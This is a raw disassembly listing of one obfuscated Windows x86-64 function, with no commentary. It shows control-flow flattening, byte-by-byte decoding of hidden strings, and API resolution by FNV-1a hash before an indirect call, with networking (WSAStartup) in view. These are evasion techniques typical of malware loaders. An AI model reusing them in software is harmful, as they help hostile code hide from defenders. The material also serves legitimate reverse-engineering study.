jmp 0x18007e5e0
mov cl, byte [rbp + 0x898]
add cl, 4
movsx ecx, cl
xor ecx, dword [rbp + 0x8b8]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc5033388
jmp 0x18007e5c0
mov ecx, dword [rbp + 0x8c8]
mov byte [rax + 5], cl
add rax, 6
mov qword [rbp + 0x888], rax
mov ebx, 0x70f76d2c
mov esi, 0x5c665a48
lea rcx, [0x1800df9bd]
nop dword [rax + rax]
cmp ebx, 0x5c665a47
jg 0x18007e700
cmp ebx, 0xd0767a30
je 0x18007e796
cmp ebx, 0x189e2c46
jne 0x18007e650
mov rax, qword [rbp + 0x8b8]
movsx eax, byte [rax]
mov dword [rbp + 0x8a4], eax
mov edx, 0x8e3ca170
nop word cs:[rax + rax]
nop
cmp edx, 0xc5033388
je 0x18007e7b1
cmp edx, 0x8e3ca170
jne 0x18007e690
mov qword [rbp + 0x8d0], r15
mov edx, 0x6ce8d087
cmp edx, 0x392ef9ff
je 0x18007e6d7
cmp edx, 0x6ce8d087
jne 0x18007e6b0
mov rax, qword [rbp + 0x8d0]
movzx eax, byte [rax]
mov byte [rbp + 0x890], al
mov edx, 0x392ef9ff
jmp 0x18007e6b0
mov al, byte [rbp + 0x890]
add al, 9
movsx eax, al
xor eax, dword [rbp + 0x8a4]
mov dword [rbp + 0x8a8], eax
mov edx, 0xc5033388
jmp 0x18007e690
cmp ebx, 0x5c665a48
je 0x18007ecae
cmp ebx, 0x70f76d2c
jne 0x18007e650
mov dword [rbp + 0x8a4], 0x74
mov ebx, 0x8e3ca170
nop word [rax + rax]
cmp ebx, 0xc5033388
je 0x18007e845
cmp ebx, 0x8e3ca170
jne 0x18007e730
mov qword [rbp + 0x8d0], r15
mov ebx, 0x6ce8d087
cmp ebx, 0x392ef9ff
je 0x18007e777
cmp ebx, 0x6ce8d087
jne 0x18007e750
mov rbx, qword [rbp + 0x8d0]
movzx ebx, byte [rbx]
mov byte [rbp + 0x890], bl
mov ebx, 0x392ef9ff
jmp 0x18007e750
mov bl, byte [rbp + 0x890]
add bl, 5
movsx ebx, bl
xor ebx, dword [rbp + 0x8a4]
mov dword [rbp + 0x8a8], ebx
mov ebx, 0xc5033388
jmp 0x18007e730
mov byte [rdx], 0
add rdx, 1
cmp rdx, qword [rbp + 0x8c8]
mov ebx, 0xd0767a30
cmove ebx, esi
jmp 0x18007e650
mov eax, dword [rbp + 0x8a8]
mov rdx, qword [rbp + 0x898]
mov byte [rdx], al
mov rdx, qword [rbp + 0x898]
mov dword [rbp + 0x8a4], 0x4f
mov ebx, 0x8e3ca170
nop word cs:[rax + rax]
cmp ebx, 0xc5033388
je 0x18007e8d5
cmp ebx, 0x8e3ca170
jne 0x18007e7e0
mov qword [rbp + 0x8d0], r15
mov ebx, 0x6ce8d087
cmp ebx, 0x392ef9ff
je 0x18007e827
cmp ebx, 0x6ce8d087
jne 0x18007e800
mov rax, qword [rbp + 0x8d0]
movzx eax, byte [rax]
mov byte [rbp + 0x890], al
mov ebx, 0x392ef9ff
jmp 0x18007e800
mov al, byte [rbp + 0x890]
add al, 0xa
movsx eax, al
xor eax, dword [rbp + 0x8a4]
mov dword [rbp + 0x8a8], eax
mov ebx, 0xc5033388
jmp 0x18007e7e0
mov ebx, dword [rbp + 0x8a8]
mov rdi, qword [rbp + 0x888]
mov byte [rdi], bl
mov rbx, qword [rbp + 0x888]
mov dword [rbp + 0x8a4], WSAStartup
mov edi, 0x8e3ca170
nop word [rax + rax]
cmp edi, 0xc5033388
je 0x18007e955
cmp edi, 0x8e3ca170
jne 0x18007e870
mov qword [rbp + 0x8d0], r15
mov edi, 0x6ce8d087
cmp edi, 0x392ef9ff
je 0x18007e8b7
cmp edi, 0x6ce8d087
jne 0x18007e890
mov rdi, qword [rbp + 0x8d0]
movzx eax, byte [rdi]
mov byte [rbp + 0x890], al
mov edi, 0x392ef9ff
jmp 0x18007e890
mov al, byte [rbp + 0x890]
add al, 6
movsx eax, al
xor eax, dword [rbp + 0x8a4]
mov dword [rbp + 0x8a8], eax
mov edi, 0xc5033388
jmp 0x18007e870
mov eax, dword [rbp + 0x8a8]
mov byte [rdx + 1], al
mov dword [rbp + 0x8a4], WSAStartup
mov ebx, 0x8e3ca170
nop dword [rax]
cmp ebx, 0xc5033388
je 0x18007e9d5
cmp ebx, 0x8e3ca170
jne 0x18007e8f0
mov qword [rbp + 0x8d0], r15
mov ebx, 0x6ce8d087
cmp ebx, 0x392ef9ff
je 0x18007e937
cmp ebx, 0x6ce8d087
jne 0x18007e910
mov rax, qword [rbp + 0x8d0]
movzx eax, byte [rax]
mov byte [rbp + 0x890], al
mov ebx, 0x392ef9ff
jmp 0x18007e910
mov al, byte [rbp + 0x890]
add al, 0xb
movsx eax, al
xor eax, dword [rbp + 0x8a4]
mov dword [rbp + 0x8a8], eax
mov ebx, 0xc5033388
jmp 0x18007e8f0
mov eax, dword [rbp + 0x8a8]
mov byte [rbx + 1], al
mov dword [rbp + 0x8a4], 0x53
mov edi, 0x8e3ca170
nop dword [rax]
cmp edi, 0xc5033388
je 0x18007ea55
cmp edi, 0x8e3ca170
jne 0x18007e970
mov qword [rbp + 0x8d0], r15
mov edi, 0x6ce8d087
cmp edi, 0x392ef9ff
je 0x18007e9b7
cmp edi, 0x6ce8d087
jne 0x18007e990
mov rax, qword [rbp + 0x8d0]
movzx eax, byte [rax]
mov byte [rbp + 0x890], al
mov edi, 0x392ef9ff
jmp 0x18007e990
mov al, byte [rbp + 0x890]
add al, 7
movsx eax, al
xor eax, dword [rbp + 0x8a4]
mov dword [rbp + 0x8a8], eax
mov edi, 0xc5033388
jmp 0x18007e970
mov eax, dword [rbp + 0x8a8]
mov byte [rdx + 2], al
mov dword [rbp + 0x8a4], 0x74
mov ebx, 0x8e3ca170
nop dword [rax]
cmp ebx, 0xc5033388
je 0x18007ead5
cmp ebx, 0x8e3ca170
jne 0x18007e9f0
mov qword [rbp + 0x8d0], r15
mov ebx, 0x6ce8d087
cmp ebx, 0x392ef9ff
je 0x18007ea37
cmp ebx, 0x6ce8d087
jne 0x18007ea10
mov rax, qword [rbp + 0x8d0]
movzx eax, byte [rax]
mov byte [rbp + 0x890], al
mov ebx, 0x392ef9ff
jmp 0x18007ea10
mov al, byte [rbp + 0x890]
add al, 0xc
movsx eax, al
xor eax, dword [rbp + 0x8a4]
mov dword [rbp + 0x8a8], eax
mov ebx, 0xc5033388
jmp 0x18007e9f0
mov eax, dword [rbp + 0x8a8]
mov byte [rbx + 2], al
mov dword [rbp + 0x8a4], 0x65
mov edi, 0x8e3ca170
nop dword [rax]
cmp edi, 0xc5033388
je 0x18007eb55
cmp edi, 0x8e3ca170
jne 0x18007ea70
mov qword [rbp + 0x8d0], r15
mov edi, 0x6ce8d087
cmp edi, 0x392ef9ff
je 0x18007eab7
cmp edi, 0x6ce8d087
jne 0x18007ea90
mov rax, qword [rbp + 0x8d0]
movzx eax, byte [rax]
mov byte [rbp + 0x890], al
mov edi, 0x392ef9ff
jmp 0x18007ea90
mov al, byte [rbp + 0x890]
add al, 8
movsx eax, al
xor eax, dword [rbp + 0x8a4]
mov dword [rbp + 0x8a8], eax
mov edi, 0xc5033388
jmp 0x18007ea70
mov eax, dword [rbp + 0x8a8]
mov byte [rdx + 3], al
mov dword [rbp + 0x8a4], 0x69
mov ebx, 0x8e3ca170
nop dword [rax]
cmp ebx, 0xc5033388
je 0x18007eb7a
cmp ebx, 0x8e3ca170
jne 0x18007eaf0
mov qword [rbp + 0x8d0], r15
mov ebx, 0x6ce8d087
cmp ebx, 0x392ef9ff
je 0x18007eb37
cmp ebx, 0x6ce8d087
jne 0x18007eb10
mov rax, qword [rbp + 0x8d0]
movzx eax, byte [rax]
mov byte [rbp + 0x890], al
mov ebx, 0x392ef9ff
jmp 0x18007eb10
mov al, byte [rbp + 0x890]
add al, 0xd
movsx eax, al
xor eax, dword [rbp + 0x8a4]
mov dword [rbp + 0x8a8], eax
mov ebx, 0xc5033388
jmp 0x18007eaf0
mov eax, dword [rbp + 0x8a8]
mov byte [rbx + 3], al
add rbx, 4
mov qword [rbp + 0x898], rbx
mov qword [rbp + 0x8b8], rcx
mov ebx, 0x189e2c46
jmp 0x18007e650
mov eax, dword [rbp + 0x8a8]
mov byte [rdx + 4], al
mov dword [rbp + 0x8a4], WSAStartup
mov ebx, 0x8e3ca170
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xc5033388
je 0x18007ec05
cmp ebx, 0x8e3ca170
jne 0x18007eba0
mov qword [rbp + 0x8d0], r15
mov ebx, 0x6ce8d087
nop dword [rax]
cmp ebx, 0x392ef9ff
je 0x18007ebe7
cmp ebx, 0x6ce8d087
jne 0x18007ebc0
mov rax, qword [rbp + 0x8d0]
movzx eax, byte [rax]
mov byte [rbp + 0x890], al
mov ebx, 0x392ef9ff
jmp 0x18007ebc0
mov al, byte [rbp + 0x890]
add al, 0xe
movsx eax, al
xor eax, dword [rbp + 0x8a4]
mov dword [rbp + 0x8a8], eax
mov ebx, 0xc5033388
jmp 0x18007eba0
mov eax, dword [rbp + 0x8a8]
mov byte [rdx + 5], al
mov dword [rbp + 0x8a4], WSAStartup
mov ebx, 0x8e3ca170
nop dword [rax]
cmp ebx, 0xc5033388
je 0x18007ec85
cmp ebx, 0x8e3ca170
jne 0x18007ec20
mov qword [rbp + 0x8d0], r15
mov ebx, 0x6ce8d087
nop dword [rax]
cmp ebx, 0x392ef9ff
je 0x18007ec67
cmp ebx, 0x6ce8d087
jne 0x18007ec40
mov rax, qword [rbp + 0x8d0]
movzx eax, byte [rax]
mov byte [rbp + 0x890], al
mov ebx, 0x392ef9ff
jmp 0x18007ec40
mov al, byte [rbp + 0x890]
add al, 0xf
movsx eax, al
xor eax, dword [rbp + 0x8a4]
mov dword [rbp + 0x8a8], eax
mov ebx, 0xc5033388
jmp 0x18007ec20
mov eax, dword [rbp + 0x8a8]
mov byte [rdx + 6], al
add rdx, 7
mov rax, qword [rbp + 0x8b0]
add rax, 0x12
mov qword [rbp + 0x8c8], rax
mov ebx, 0xd0767a30
jmp 0x18007e650
lea rcx, [rbp + 0x730]
call fcn.180084800
mov edx, 0x676f3d91
movabs r10, 0xcbf29ce484222325
mov r8d, 0xd12f0328
mov r9d, 0xd1da1d7e
mov r11d, 0x454da8a0
mov r14d, 0x7090fb3e
mov r15d, 0x9a007ce3
jmp 0x18007ed10
movsxd rdi, r12d
xor rdi, qword [rbp + 0x8d0]
movabs rdx, 0x100000001b3
imul rdi, rdx
mov esi, dword [rbp + 0x8b8]
add esi, 1
mov edx, 0xac5b234
nop
cmp edx, 0xf65328f1
jg 0x18007ed70
cmp edx, 0xc212bd2a
jle 0x18007edc0
cmp edx, 0xd94e5920
jg 0x18007ee3a
cmp edx, 0xc212bd2b
je 0x18007ef16
cmp edx, 0xd12f0328
je 0x18007ef20
cmp edx, 0xd1da1d7e
jne 0x18007ed10
mov edx, dword [rbp + 0x8a4]
cmp edx, 0x7f
setl byte [rbp + 0x897]
mov edx, 0x1ee519d6
jmp 0x18007ed10
cmp edx, 0x32830d68
jg 0x18007ee00
cmp edx, 0x1ee519d5
jle 0x18007ee73
cmp edx, 0x1ee519d6
je 0x18007ef39
cmp edx, 0x23144f16
je 0x18007ef4e
cmp edx, 0x266919b2
jne 0x18007ed10
mov edx, 0xde45267d
jmp 0x18007ed10
cmp edx, 0xa971a22b
jle 0x18007eeb4
cmp edx, 0xa971a22c
je 0x18007ef5f
cmp edx, 0xaa53857a
je 0x18007ef6b
cmp edx, 0xae198c88
jne 0x18007ed10
mov edx, 0xac5b234
xor esi, esi
mov rdi, r10
jmp 0x18007ed10
cmp edx, 0x5eec1115
jle 0x18007eee7
cmp edx, 0x5eec1116
je 0x18007ef75
cmp edx, 0x7090fb3e
je 0x18007ef99
cmp edx, 0x676f3d91
jne 0x18007ed10
mov edx, 0xa971a22c
jmp 0x18007ed10
cmp edx, 0xd94e5921
je 0x18007ece9
cmp edx, 0xde45267d
je 0x18007efb2
cmp edx, 0xe4465726
jne 0x18007ed10
cmp byte [rbp + 0x890], 0
mov edx, 0x32830d69
cmovne edx, r8d
jmp 0x18007ed10
cmp edx, 0xf65328f2
je 0x18007efc2
cmp edx, 0xac5b234
jne 0x18007f01a
mov dword [rbp + 0x8b8], esi
mov qword [rbp + 0x8d0], rdi
mov edx, dword [rbp + 0x898]
mov ebx, dword [rbp + 0x8b8]
cmp ebx, edx
mov edx, 0x6d3d8b8
cmovb edx, r11d
jmp 0x18007ed10
cmp edx, 0x9a007ce3
je 0x18007efef
cmp edx, 0x9a8ae9d1
jne 0x18007ed10
mov rdx, qword [rbp + 0x8c8]
movzx edx, byte [rax + rdx]
mov byte [rbp + 0x8c7], dl
mov edx, 0x5eec1116
jmp 0x18007ed10
cmp edx, 0x32830d69
je 0x18007f009
cmp edx, 0x454da8a0
jne 0x18007ed10
mov edx, dword [rbp + 0x8b8]
mov qword [rbp + 0x8c8], rdx
mov edx, 0x9a8ae9d1
jmp 0x18007ed10
mov edx, 0xae198c88
jmp 0x18007ed10
mov edx, dword [rbp + 0x8b0]
or edx, 0x20
mov dword [rbp + 0x888], edx
mov edx, 0x23144f16
jmp 0x18007ed10
cmp byte [rbp + 0x897], 0
mov edx, 0xaa53857a
cmovne edx, r14d
jmp 0x18007ed10
mov edx, 0xd94e5921
mov r12d, dword [rbp + 0x888]
jmp 0x18007ed10
mov edx, 0xf65328f2
xor ecx, ecx
jmp 0x18007ed10
mov edx, 0xc212bd2b
jmp 0x18007ed10
movsx edx, byte [rbp + 0x8c7]
mov dword [rbp + 0x8b0], edx
mov edx, dword [rbp + 0x8b0]
cmp edx, 0x40
mov edx, 0x32830d69
cmovg edx, r15d
jmp 0x18007ed10
mov edx, dword [rbp + 0x898]
add edx, 1
mov dword [rbp + 0x8a8], edx
mov edx, 0x266919b2
jmp 0x18007ed10
mov edx, 0xf65328f2
mov ecx, dword [rbp + 0x8a8]
jmp 0x18007ed10
mov dword [rbp + 0x898], ecx
mov edx, dword [rbp + 0x898]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x8a4], edx
mov edx, dword [rbp + 0x8a4]
cmp edx, 0x1f
mov edx, 0xaa53857a
cmovg edx, r9d
jmp 0x18007ed10
mov edx, dword [rbp + 0x8b0]
cmp edx, 0x5b
setl byte [rbp + 0x890]
mov edx, 0xe4465726
jmp 0x18007ed10
mov edx, 0xd94e5921
mov r12d, dword [rbp + 0x8b0]
jmp 0x18007ed10
cmp edx, 0x6d3d8b8
jne 0x18007ed10
mov rcx, qword [rbp + 0x8d0]
call fcn.1800ae820
lea r15, [rbp + 0x730]
mov rcx, qword [rbp + 0x868]
lea r8, [rbp + 0x834]
mov edx, 0x1f
mov r9d, 4
call rax
test eax, eax
je 0x180080e08
mov eax, 0x7d1efd4f
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x5cdbe403
je 0x18007f0c1
cmp eax, 0x7d1efd4f
jne 0x18007f070
mov eax, 0xdc4e4cc4
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xdaa3a8af
je 0x18007f0ac
cmp eax, 0xdc4e4cc4
jne 0x18007f090
mov byte [rbp + 0x730], 3
mov eax, 0xdaa3a8af
jmp 0x18007f090
mov al, byte [rbp + 0x730]
add al, 0x57
mov byte [rbp + 0x8d0], al
mov eax, 0x5cdbe403
jmp 0x18007f070
mov al, byte [rbp + 0x8d0]
mov byte [rbp + 0x730], al
mov eax, 0x7d1efd4f
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x5cdbe403
je 0x18007f131
cmp eax, 0x7d1efd4f
jne 0x18007f0e0
mov eax, 0xdc4e4cc4
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xdaa3a8af
je 0x18007f11c
cmp eax, 0xdc4e4cc4
jne 0x18007f100
mov byte [rbp + 0x8d0], 3
mov eax, 0xdaa3a8af
jmp 0x18007f100
mov al, byte [rbp + 0x8d0]
add al, 0x69
mov byte [rbp + 0x8c8], al
mov eax, 0x5cdbe403
jmp 0x18007f0e0
mov al, byte [rbp + 0x8c8]
mov byte [rbp + 0x731], al
mov eax, 0x7d1efd4f
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x5cdbe403
je 0x18007f1a1
cmp eax, 0x7d1efd4f
jne 0x18007f150
mov eax, 0xdc4e4cc4
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xdaa3a8af
je 0x18007f18c
cmp eax, 0xdc4e4cc4
jne 0x18007f170
mov byte [rbp + 0x8d0], 3
mov eax, 0xdaa3a8af
jmp 0x18007f170
mov al, byte [rbp + 0x8d0]
add al, 0x6e
mov byte [rbp + 0x8c8], al
mov eax, 0x5cdbe403
jmp 0x18007f150
mov al, byte [rbp + 0x8c8]
mov byte [rbp + 0x732], al
mov eax, 0x7d1efd4f
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x5cdbe403
je 0x18007f211
cmp eax, 0x7d1efd4f
jne 0x18007f1c0
mov eax, 0xdc4e4cc4
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xdaa3a8af
je 0x18007f1fc
cmp eax, 0xdc4e4cc4
jne 0x18007f1e0
mov byte [rbp + 0x8d0], 3
mov eax, 0xdaa3a8af
jmp 0x18007f1e0
mov al, byte [rbp + 0x8d0]
add al, 0x48
mov byte [rbp + 0x8c8], al
mov eax, 0x5cdbe403
jmp 0x18007f1c0
mov al, byte [rbp + 0x8c8]
mov byte [rbp + 0x733], al
lea rax, [rbp + 0x734]
mov qword [rbp + 0x8c8], rax
mov eax, 0x7d1efd4f
cmp eax, 0x5cdbe403
je 0x18007f281
cmp eax, 0x7d1efd4f
jne 0x18007f230
mov eax, 0xdc4e4cc4
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xdaa3a8af
je 0x18007f26c
cmp eax, 0xdc4e4cc4
jne 0x18007f250
mov byte [rbp + 0x8d0], 3
mov eax, 0xdaa3a8af
jmp 0x18007f250
mov al, byte [rbp + 0x8d0]
add al, 0x74
mov byte [rbp + 0x8b8], al
mov eax, 0x5cdbe403
jmp 0x18007f230
mov al, byte [rbp + 0x8b8]
mov rcx, qword [rbp + 0x8c8]
mov byte [rcx], al
mov eax, 0x6dae28db
nop word cs:[rax + rax]
nop
cmp eax, 0x282a56f5
je 0x18007f722
cmp eax, 0x6dae28db
jne 0x18007f2a0
mov rax, qword [rbp + 0x8c8]
mov ecx, 0x7d1efd4f
nop
cmp ecx, 0x5cdbe403
je 0x18007f314
cmp ecx, 0x7d1efd4f
jne 0x18007f2c0
mov ecx, 0xdc4e4cc4
nop word cs:[rax + rax]
nop
cmp ecx, 0xdaa3a8af
je 0x18007f2fe
cmp ecx, 0xdc4e4cc4
jne 0x18007f2e0
mov byte [rbp + 0x8b8], 3
mov ecx, 0xdaa3a8af
jmp 0x18007f2e0
mov cl, byte [rbp + 0x8b8]
add cl, 0x74
mov byte [rbp + 0x898], cl
mov ecx, 0x5cdbe403
jmp 0x18007f2c0
mov cl, byte [rbp + 0x898]
mov byte [rax + 1], cl
mov ecx, 0x7d1efd4f
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x5cdbe403
je 0x18007f384
cmp ecx, 0x7d1efd4f
jne 0x18007f330
mov ecx, 0xdc4e4cc4
nop word cs:[rax + rax]
nop
cmp ecx, 0xdaa3a8af
je 0x18007f36e
cmp ecx, 0xdc4e4cc4
jne 0x18007f350
mov byte [rbp + 0x8b8], 3
mov ecx, 0xdaa3a8af
jmp 0x18007f350
mov cl, byte [rbp + 0x8b8]
add cl, 0x70
mov byte [rbp + 0x898], cl
mov ecx, 0x5cdbe403
jmp 0x18007f330
mov cl, byte [rbp + 0x898]
mov byte [rax + 2], cl
mov ecx, 0x7d1efd4f
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x5cdbe403
je 0x18007f3f4
cmp ecx, 0x7d1efd4f
jne 0x18007f3a0
mov ecx, 0xdc4e4cc4
nop word cs:[rax + rax]
nop
cmp ecx, 0xdaa3a8af
je 0x18007f3de
cmp ecx, 0xdc4e4cc4
jne 0x18007f3c0
mov byte [rbp + 0x8b8], 3
mov ecx, 0xdaa3a8af
jmp 0x18007f3c0
mov cl, byte [rbp + 0x8b8]
add cl, 0x53
mov byte [rbp + 0x898], cl
mov ecx, 0x5cdbe403
jmp 0x18007f3a0
mov cl, byte [rbp + 0x898]
mov byte [rax + 3], cl
mov ecx, 0x7d1efd4f
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x5cdbe403
je 0x18007f464
cmp ecx, 0x7d1efd4f
jne 0x18007f410
mov ecx, 0xdc4e4cc4
nop word cs:[rax + rax]
nop
cmp ecx, 0xdaa3a8af
je 0x18007f44e
cmp ecx, 0xdc4e4cc4
jne 0x18007f430
mov byte [rbp + 0x8b8], 3
mov ecx, 0xdaa3a8af
jmp 0x18007f430
mov cl, byte [rbp + 0x8b8]
add cl, 0x65
mov byte [rbp + 0x898], cl
mov ecx, 0x5cdbe403
jmp 0x18007f410
mov cl, byte [rbp + 0x898]
mov byte [rax + 4], cl
mov ecx, 0x7d1efd4f
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x5cdbe403
je 0x18007f4d4
cmp ecx, 0x7d1efd4f
jne 0x18007f480
mov ecx, 0xdc4e4cc4
nop word cs:[rax + rax]
nop
cmp ecx, 0xdaa3a8af
je 0x18007f4be
cmp ecx, 0xdc4e4cc4
jne 0x18007f4a0
mov byte [rbp + 0x8b8], 3
mov ecx, 0xdaa3a8af
jmp 0x18007f4a0
mov cl, byte [rbp + 0x8b8]
add cl, 0x74
mov byte [rbp + 0x898], cl
mov ecx, 0x5cdbe403
jmp 0x18007f480
mov cl, byte [rbp + 0x898]
mov byte [rax + 5], cl
mov ecx, 0x7d1efd4f
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x5cdbe403
je 0x18007f544
cmp ecx, 0x7d1efd4f
jne 0x18007f4f0
mov ecx, 0xdc4e4cc4
nop word cs:[rax + rax]
nop
cmp ecx, 0xdaa3a8af
je 0x18007f52e
cmp ecx, 0xdc4e4cc4
jne 0x18007f510
mov byte [rbp + 0x8b8], 3
mov ecx, 0xdaa3a8af
jmp 0x18007f510
mov cl, byte [rbp + 0x8b8]
add cl, 0x54
mov byte [rbp + 0x898], cl
mov ecx, 0x5cdbe403
jmp 0x18007f4f0
mov cl, byte [rbp + 0x898]
mov byte [rax + 6], cl
mov ecx, 0x7d1efd4f
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x5cdbe403
je 0x18007f5b4
cmp ecx, 0x7d1efd4f
jne 0x18007f560
mov ecx, 0xdc4e4cc4
nop word cs:[rax + rax]
nop
cmp ecx, 0xdaa3a8af
je 0x18007f59e
cmp ecx, 0xdc4e4cc4
jne 0x18007f580
mov byte [rbp + 0x8b8], 3
mov ecx, 0xdaa3a8af
jmp 0x18007f580
mov cl, byte [rbp + 0x8b8]
add cl, 0x69
mov byte [rbp + 0x898], cl
mov ecx, 0x5cdbe403
jmp 0x18007f560
mov cl, byte [rbp + 0x898]
mov byte [rax + 7], cl
mov ecx, 0x7d1efd4f
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x5cdbe403
je 0x18007f624
cmp ecx, 0x7d1efd4f
jne 0x18007f5d0
mov ecx, 0xdc4e4cc4
nop word cs:[rax + rax]
nop
cmp ecx, 0xdaa3a8af
je 0x18007f60e
cmp ecx, 0xdc4e4cc4
jne 0x18007f5f0
mov byte [rbp + 0x8b8], 3
mov ecx, 0xdaa3a8af
jmp 0x18007f5f0
mov cl, byte [rbp + 0x8b8]
add cl, 0x6d
mov byte [rbp + 0x898], cl
mov ecx, 0x5cdbe403
jmp 0x18007f5d0
mov cl, byte [rbp + 0x898]
mov byte [rax + 8], cl
mov ecx, 0x7d1efd4f
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x5cdbe403
je 0x18007f694
cmp ecx, 0x7d1efd4f
jne 0x18007f640
mov ecx, 0xdc4e4cc4
nop word cs:[rax + rax]
nop
cmp ecx, 0xdaa3a8af
je 0x18007f67e
cmp ecx, 0xdc4e4cc4
jne 0x18007f660
mov byte [rbp + 0x8b8], 3
mov ecx, 0xdaa3a8af
jmp 0x18007f660
mov cl, byte [rbp + 0x8b8]
add cl, 0x65
mov byte [rbp + 0x898], cl
mov ecx, 0x5cdbe403
jmp 0x18007f640
mov cl, byte [rbp + 0x898]
mov byte [rax + 9], cl
mov ecx, 0x7d1efd4f
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x5cdbe403
je 0x18007f704
cmp ecx, 0x7d1efd4f
jne 0x18007f6b0
mov ecx, 0xdc4e4cc4
nop word cs:[rax + rax]
nop
cmp ecx, 0xdaa3a8af
je 0x18007f6ee
cmp ecx, 0xdc4e4cc4
jne 0x18007f6d0
mov byte [rbp + 0x8b8], 3
mov ecx, 0xdaa3a8af
jmp 0x18007f6d0
mov cl, byte [rbp + 0x8b8]
add cl, 0x6f
mov byte [rbp + 0x898], cl
mov ecx, 0x5cdbe403
jmp 0x18007f6b0
mov cl, byte [rbp + 0x898]
mov byte [rax + 0xa], cl
add rax, 0xb
mov qword [rbp + 0x8d0], rax
mov eax, 0x282a56f5
jmp 0x18007f2a0
mov eax, 0x7d1efd4f
nop word [rax + rax]
cmp eax, 0x5cdbe403
je 0x18007f781
cmp eax, 0x7d1efd4f
jne 0x18007f730
mov eax, 0xdc4e4cc4
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xdaa3a8af
je 0x18007f76c
cmp eax, 0xdc4e4cc4
jne 0x18007f750
mov byte [rbp + 0x8b8], 3
mov eax, 0xdaa3a8af
jmp 0x18007f750
mov al, byte [rbp + 0x8b8]
add al, 0x75
mov byte [rbp + 0x898], al
mov eax, 0x5cdbe403
jmp 0x18007f730
mov al, byte [rbp + 0x898]
mov rcx, qword [rbp + 0x8d0]
mov byte [rcx], al
mov rax, qword [rbp + 0x8d0]
mov ecx, 0x7d1efd4f
nop dword [rax]
cmp ecx, 0x5cdbe403
je 0x18007f7f4
cmp ecx, 0x7d1efd4f
jne 0x18007f7a0
mov ecx, 0xdc4e4cc4
nop word cs:[rax + rax]
nop
cmp ecx, 0xdaa3a8af
je 0x18007f7de
cmp ecx, 0xdc4e4cc4
jne 0x18007f7c0
mov byte [rbp + 0x8b8], 3
mov ecx, 0xdaa3a8af
jmp 0x18007f7c0
mov cl, byte [rbp + 0x8b8]
add cl, 0x74
mov byte [rbp + 0x898], cl
mov ecx, 0x5cdbe403
jmp 0x18007f7a0
mov cl, byte [rbp + 0x898]
mov byte [rax + 1], cl
mov ecx, 0x7d1efd4f
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x5cdbe403
je 0x18007f864
cmp ecx, 0x7d1efd4f
jne 0x18007f810
mov ecx, 0xdc4e4cc4
nop word cs:[rax + rax]
nop
cmp ecx, 0xdaa3a8af
je 0x18007f84e
cmp ecx, 0xdc4e4cc4
jne 0x18007f830
mov byte [rbp + 0x8b8], 3
mov ecx, 0xdaa3a8af
jmp 0x18007f830
mov cl, byte [rbp + 0x8b8]
add cl, 0x73
mov byte [rbp + 0x898], cl
mov ecx, 0x5cdbe403
jmp 0x18007f810
mov cl, byte [rbp + 0x898]
mov byte [rax + 2], cl
mov byte [rax + 3], 0
mov edx, 0x2448bf8
mov eax, 0xf3a9340c
jmp 0x18007f8a0
mov rdx, qword [rbp + 0x8d0]
add rdx, 1
mov qword [rbp + 0x8c8], rdx
mov edx, 0x332967b4
nop word cs:[rax + rax]
nop
cmp edx, 0x16648ddf
jle 0x18007f8e0
cmp edx, 0x472ab2cb
jle 0x18007f950
cmp edx, 0x472ab2cc
je 0x18007f9a2
cmp edx, 0x740cf9ec
jne 0x18007fa48
mov edx, 0x472ab2cc
xor ecx, ecx
jmp 0x18007f8a0
cmp edx, 0xfecec33b
jg 0x18007f980
cmp edx, 0x906d8128
je 0x18007f9c1
cmp edx, 0xf3a9340c
jne 0x18007f8a0
mov rdx, qword [rbp + 0x8d0]
movsx ebx, byte [rbp + rdx + 0x730]
mov dword [rbp + 0x8b0], ebx
mov ebx, 0xdc4e4cc4
nop word [rax + rax]
cmp ebx, 0xdaa3a8af
je 0x18007f9d2
cmp ebx, 0xdc4e4cc4
jne 0x18007f920
mov byte [rbp + 0x888], 3
mov ebx, 0xdaa3a8af
jmp 0x18007f920
cmp edx, 0x16648de0
je 0x18007fa19
cmp edx, 0x332967b4
jne 0x18007f8a0
mov edx, 0x472ab2cc
mov rcx, qword [rbp + 0x8c8]
jmp 0x18007f8a0
cmp edx, 0xfecec33c
je 0x18007f87d
cmp edx, 0x2448bf8
jne 0x18007f8a0
mov edx, 0x740cf9ec
jmp 0x18007f8a0
mov qword [rbp + 0x8d0], rcx
mov rdx, qword [rbp + 0x8d0]
cmp rdx, 0x12
mov edx, 0x906d8128
cmovb edx, eax
jmp 0x18007f8a0
mov qword [rbp + 0x898], r15
mov edx, 0x16648de0
jmp 0x18007f8a0
movsx ebx, byte [rbp + 0x888]
mov dword [rbp + 0x888], ebx
mov ebx, 0xe7c53ee5
nop word cs:[rax + rax]
nop
cmp ebx, 0xb624844f
je 0x18007fa31
cmp ebx, 0xe7c53ee5
jne 0x18007f9f0
mov ebx, dword [rbp + 0x8b0]
sub ebx, dword [rbp + 0x888]
mov byte [rbp + 0x8a8], bl
mov ebx, 0xb624844f
jmp 0x18007f9f0
mov rdx, qword [rbp + 0x898]
mov qword [rbp + 0x8b8], rdx
mov edx, 0x7606778b
jmp 0x18007f8a0
mov bl, byte [rbp + 0x8a8]
mov byte [rbp + rdx + 0x730], bl
